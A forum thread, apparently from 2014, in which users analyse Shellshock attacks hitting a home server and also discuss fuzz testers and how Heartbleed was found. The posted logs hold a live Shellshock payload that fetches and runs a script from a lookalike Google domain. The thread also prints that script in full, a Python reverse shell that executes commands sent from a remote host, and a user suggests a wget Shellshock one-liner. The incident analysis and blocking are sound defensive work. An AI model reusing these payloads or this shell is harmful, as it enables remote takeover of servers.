A new BASH bug?

[Feathers McGraw]

Thanks for your recommendations! Now all I have to do is write something that needs testing

I can't seem to locate anything written by the Google researchers that describe how they discovered it.

An update on this: the Google researcher who discovered heartbleed was

doing laborious auditing of OpenSSL, going through the [Secure Sockets Layer] stack line by line

http://soylentnews.org/article.pl?sid=14/10/11/1516242

[SteveRiley]

Too many choice!! Can you recommend a good one? Development seems to have stalled for some of the ones listed on the OWASP page.

PeachFuzz community edition: http://sourceforge.net/projects/peachfuzz/
Zed Attack Proxy: https://www.owasp.org/index.php/OWAS..._Proxy_Project

FindBugs, static analysis for Java: http://findbugs.sourceforge.net/

[GreyGeek]

I was surprised too. I thought it was a google site that had been hacked. Whois on the domain name pulled up nothing, but on the IP address dig gave the results were:

[B]whois 162.244.34.27[/B]

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
# If you see inaccuracies in the results, please report at
# http://www.arin.net/public/whoisinaccuracy/index.xhtml
#


#
# The following results may also be obtained via:
# http://whois.arin.net/rest/nets;q=162.244.34.27?showDetails=true&showARIN=false&ext=netref2
#


# start

NetRange:       162.244.32.0 - 162.244.35.255
CIDR:           162.244.32.0/22
OriginAS:       AS6939, AS30708, AS14576
NetName:        KING-SERVERS
NetHandle:      NET-162-244-32-0-1
Parent:         NET-162-0-0-0-0
NetType:        Direct Allocation
Comment:        [B]http://king-servers.com/[/B]
RegDate:        2014-03-05
Updated:        2014-03-05
Ref:            http://whois.arin.net/rest/net/NET-162-244-32-0-1

OrgName:        Hosting Solution Ltd.
OrgId:          HSL-50
Address:        Office:
Address:        Hosting Solution Ltd.
Address:        201 Rogers Office Building
Address:        Edwin Wallace Rey Drive
Address:        George Hill,
Address:        Anguilla
Address:        
Address:        Data Center:
Address:        Hosting Solution Ltd.
Address:        C/O Hurricane Electric
Address:        48233 Warm Springs Blvd
City:           Fremont
StateProv:      CA
PostalCode:     94539
Country:        US
RegDate:        2013-05-31
Updated:        2014-10-02
Comment:        http://king-servers.com/
Ref:            http://whois.arin.net/rest/org/HSL-50

OrgAbuseHandle: ABUSE4868-ARIN
OrgAbuseName:   Abuse Department
OrgAbusePhone:  +1-408-622-0063 
OrgAbuseEmail: [B] abuse@king-servers.com[/B]
OrgAbuseRef:    http://whois.arin.net/rest/poc/ABUSE4868-ARIN

OrgNOCHandle: NOC32063-ARIN
OrgNOCName:   Network Operations Center
OrgNOCPhone:  +1-408-622-0063 
OrgNOCEmail:  noc@king-servers.com
OrgNOCRef:    http://whois.arin.net/rest/poc/NOC32063-ARIN

OrgTechHandle: NOC32063-ARIN
OrgTechName:   Network Operations Center
OrgTechPhone:  +1-408-622-0063 
OrgTechEmail:  noc@king-servers.com
OrgTechRef:    http://whois.arin.net/rest/poc/NOC32063-ARIN

# end


# start

NetRange:       162.244.34.0 - 162.244.34.255
CIDR:           162.244.34.0/24
OriginAS:       AS14576
NetName:        KING-SERVERS-R003-R004
NetHandle:      NET-162-244-34-0-1
Parent:         NET-162-244-32-0-1
NetType:        Reassigned
RegDate:        2014-04-19
Updated:        2014-04-19
Ref:            http://whois.arin.net/rest/net/NET-162-244-34-0-1

CustName:       Hosting Solution Ltd.
Address:        48233 Warm Springs Blvd
City:           Fremont
StateProv:      CA
PostalCode:     94539
Country:        US
RegDate:        2014-04-19
Updated:        2014-04-19
Ref:            http://whois.arin.net/rest/customer/C04995622

OrgAbuseHandle: ABUSE4868-ARIN
OrgAbuseName:   Abuse Department
OrgAbusePhone:  +1-408-622-0063 
OrgAbuseEmail:  abuse@king-servers.com
OrgAbuseRef:    http://whois.arin.net/rest/poc/ABUSE4868-ARIN

OrgNOCHandle: NOC32063-ARIN
OrgNOCName:   Network Operations Center
OrgNOCPhone:  +1-408-622-0063 
OrgNOCEmail:  noc@king-servers.com
OrgNOCRef:    http://whois.arin.net/rest/poc/NOC32063-ARIN

OrgTechHandle: NOC32063-ARIN
OrgTechName:   Network Operations Center
OrgTechPhone:  +1-408-622-0063 
OrgTechEmail:  noc@king-servers.com
OrgTechRef:    http://whois.arin.net/rest/poc/NOC32063-ARIN

# end

That "google" site has a basic Apache2 web test page on it.

[Feathers McGraw]

I was expecting an encrypted IP but its just relying on an active connection, so if one ran netstat while it was connected and checked the 9091 port an IP address would be visible.

I don't even think you'd need to do that to find out the IP address, since the script gives a domain name...

if fpid!=0:

    [B]host='stats.google-traffic-analytics.com'[/B]
    port=9091
...
    def connect():
        try:
            sockobj=socket(AF_INET,SOCK_STREAM)
            [B]sockobj.connect((host,port))[/B]
            return sockobj
        except:
            return False

feathers-mcgraw@Hobbs-T440s:~$ dig stats.google-traffic-analytics.com 
; <<>> DiG 9.9.5-3-Ubuntu <<>> stats.google-traffic-analytics.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48675
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;stats.google-traffic-analytics.com. IN A

;; ANSWER SECTION:
stats.google-traffic-analytics.com. 3600 IN A   162.244.34.27

;; Query time: 166 msec
;; SERVER: 127.0.1.1#53(127.0.1.1)
;; WHEN: Sun Oct 05 16:36:32 BST 2014
;; MSG SIZE  rcvd: 79

I am surprised that that domain name isn't already owned by Google, to be honest. It's quite a clever one to use because it looks kind of legit.

[GreyGeek]

That was the lot!

I had a Duh! moment (one of many these days) and just opened the code using a tab in FF. You did post the whole thing! I was expecting an encrypted IP but its just relying on an active connection, so if one ran netstat while it was connected and checked the 9091 port an IP address would be visible.

[Feathers McGraw]

It's quite difficult to insert something into the stream once the HTTPS session is established.

If you were just spraying loads of domains, would something like this not work?

wget --secure-protocol=auto --no-check-certificate -U "() { test;};/usr/bin/checkmate" domain.com/cgi-bin/test

Dude, really? http://lmgtfy.com/?q=open+source+fuzz+tester

Too many choice!! Can you recommend a good one? Development seems to have stalled for some of the ones listed on the OWASP page.

[Feathers McGraw]

BTW, feathers, can you post the rest of the Python code in cl.py? (I'm too lazy to use wget to dl it from
http://google-traffic-analytics.com/cl.py)

That was the lot!

[GreyGeek]

IF I remember your CV correctly, Steve, you did have some programming classes under your belt.

BTW, feathers, can you post the rest of the Python code in cl.py? (I'm too lazy to use wget to dl it from
http://google-traffic-analytics.com/cl.py)

[SteveRiley]

I've seen about 10x as many HTTP attacks as HTTPS, which is interesting. I get that it's more "expensive" to target HTTPS because of the time it takes to do the handshake, but it surely can't make that much difference!

It's quite difficult to insert something into the stream once the HTTPS session is established.

Anyway, how do these bots decide which hosts to attack? I bet some of them use search engines, in which case you'd get less exposure because you're not trying to get your server indexed.

That, and just general scanning of large IP address ranges, knocking on the port 80/tcp door.

Do you know of any decent FOSS apps out there for doing this? I have a feeling it's something I'll want to look into at some point!

Dude, really? http://lmgtfy.com/?q=open+source+fuzz+tester

[Feathers McGraw]

It's a classic rookie programming mistake. Fuzz testing tools are now very good at finding this particular type of vulnerability.

Do you know of any decent FOSS apps out there for doing this? I have a feeling it's something I'll want to look into at some point!

[Feathers McGraw]

My firewall doesn't have an opening for 80/tcp, as I don't need to run a public web server. It is open for 443/tcp, since I need authenticated access to DAViCal and TT-RSS. Interestingly, I'm seeing no Shellshock related activity in my log files. It's as if the scripts only target HTTP ports, not HTTPS ports.

I've seen about 10x as many HTTP attacks as HTTPS, which is interesting. I get that it's more "expensive" to target HTTPS because of the time it takes to do the handshake, but it surely can't make that much difference!

Anyway, how do these bots decide which hosts to attack? I bet some of them use search engines, in which case you'd get less exposure because you're not trying to get your server indexed.

[SteveRiley]

It's quite interesting watching this one develop. Is anyone else seeing similar coordinated attacks?

My firewall doesn't have an opening for 80/tcp, as I don't need to run a public web server. It is open for 443/tcp, since I need authenticated access to DAViCal and TT-RSS. Interestingly, I'm seeing no Shellshock related activity in my log files. It's as if the scripts only target HTTP ports, not HTTPS ports.

[SteveRiley]

So you think the discovery might have had nothing to do with reading the source, just observing how openssl behaves in unusual situations? And is therefore the kind of thing that might have been caught by a "Microsoft style" test? That's interesting.

Like I said, I can't seem to locate anything written by the Google researchers that describe how they discovered it. Perhaps they were examining the code with some tools that look for common coding mistakes like buffer overruns, or perhaps they were intentionally exercising it with unexpected data -- I just don't know.

I'm fairly certain that Microsoft's testing methods would have caught this bug. It's a classic rookie programming mistake. Fuzz testing tools are now very good at finding this particular type of vulnerability.

[Feathers McGraw]

I just had nine different hosts attack my server in under a minute looking for this BASH vulnerability:

113.171.59.148 - - [04/Oct/2014:17:36:33 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 582 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
1.1.247.220 - - [04/Oct/2014:17:36:37 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 582 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
188.245.110.201 - - [04/Oct/2014:17:36:40 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 582 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
178.92.12.100 - - [04/Oct/2014:17:36:42 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 582 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
193.151.41.195 - - [04/Oct/2014:17:37:29 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 582 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
14.165.245.191 - - [04/Oct/2014:17:37:36 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 582 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
41.69.225.8 - - [04/Oct/2014:17:37:49 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 619 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
178.121.131.85 - - [04/Oct/2014:17:37:53 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 582 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
110.169.232.5 - - [04/Oct/2014:17:37:56 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 582 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""

The coordinated attack suggests it could be a botnet? Do you think the clamd_update name is a red herring, or could the aim be to disable ClamAV or something similar?

On a different note, how is it that the rDNS lookup for one of these sites is "localhost"? Scared me for a minute when I checked the firewall :

$ sudo iptables -L
...
Chain fail2ban-shellshock-scan (1 references)
target     prot opt source               destination         
REJECT     all  --  ppp-110-169-232-5.revip5.asianet.co.th  anywhere             reject-with icmp-port-unreachable
REJECT     all  --  mm-85-131-121-178.dynamic.pppoe.mgts.by  anywhere             reject-with icmp-port-unreachable
REJECT     all  --  41.69.225.8          anywhere             reject-with icmp-port-unreachable
REJECT     all  --  14.165.245.191       anywhere             reject-with icmp-port-unreachable
REJECT     all  --  193.151.41.195       anywhere             reject-with icmp-port-unreachable
REJECT     all  --  100-12-92-178.pool.ukrtel.net  anywhere             reject-with icmp-port-unreachable
REJECT     all  --  188.245.110.201      anywhere             reject-with icmp-port-unreachable
REJECT     all  --  node-noc.pool-1-1.dynamic.totbb.net  anywhere             reject-with icmp-port-unreachable
[B]REJECT     all  --  localhost            anywhere             reject-with icmp-port-unreachable[/B]
RETURN     all  --  anywhere             anywhere

$ sudo iptables -L -n
...
Chain fail2ban-shellshock-scan (1 references)
target     prot opt source               destination         
REJECT     all  --  110.169.232.5        0.0.0.0/0            reject-with icmp-port-unreachable
REJECT     all  --  178.121.131.85       0.0.0.0/0            reject-with icmp-port-unreachable
REJECT     all  --  41.69.225.8          0.0.0.0/0            reject-with icmp-port-unreachable
REJECT     all  --  14.165.245.191       0.0.0.0/0            reject-with icmp-port-unreachable
REJECT     all  --  193.151.41.195       0.0.0.0/0            reject-with icmp-port-unreachable
REJECT     all  --  178.92.12.100        0.0.0.0/0            reject-with icmp-port-unreachable
REJECT     all  --  188.245.110.201      0.0.0.0/0            reject-with icmp-port-unreachable
REJECT     all  --  1.1.247.220          0.0.0.0/0            reject-with icmp-port-unreachable
REJECT     all  --  113.171.59.148       0.0.0.0/0            reject-with icmp-port-unreachable
RETURN     all  --  0.0.0.0/0            0.0.0.0/0

It's quite interesting watching this one develop. Is anyone else seeing similar coordinated attacks?

EDIT: here's the file they were trying to download

#!/usr/bin/env python


from socket import *
import os
from time import sleep
import sys


fpid = os.fork()

if fpid!=0:

    host='stats.google-traffic-analytics.com'
    port=9091
    sockobj = None
    ############################################

    sockobj = None
    recv = False

    def connect():
        try:
            sockobj=socket(AF_INET,SOCK_STREAM)
            sockobj.connect((host,port))
            return sockobj
        except:
            return False


    while True:
        while not sockobj:
            sockobj = connect()
            print "[*] Trying to reconnect..."
            sleep(1)
            if sockobj:
                print "[+] Connected"

        recv = sockobj.recv(1024)
        #print recv
        if not recv: sockobj = False; break;
        cmd = recv.strip()
        res = os.popen(cmd).read()
        if res:
            sockobj.sendall(res)

[Feathers McGraw]

I'm not finding any details about the circumstances -- whether the finding was a true code audit or some other process.

So you think the discovery might have had nothing to do with reading the source, just observing how openssl behaves in unusual situations? And is therefore the kind of thing that might have been caught by a "Microsoft style" test? That's interesting.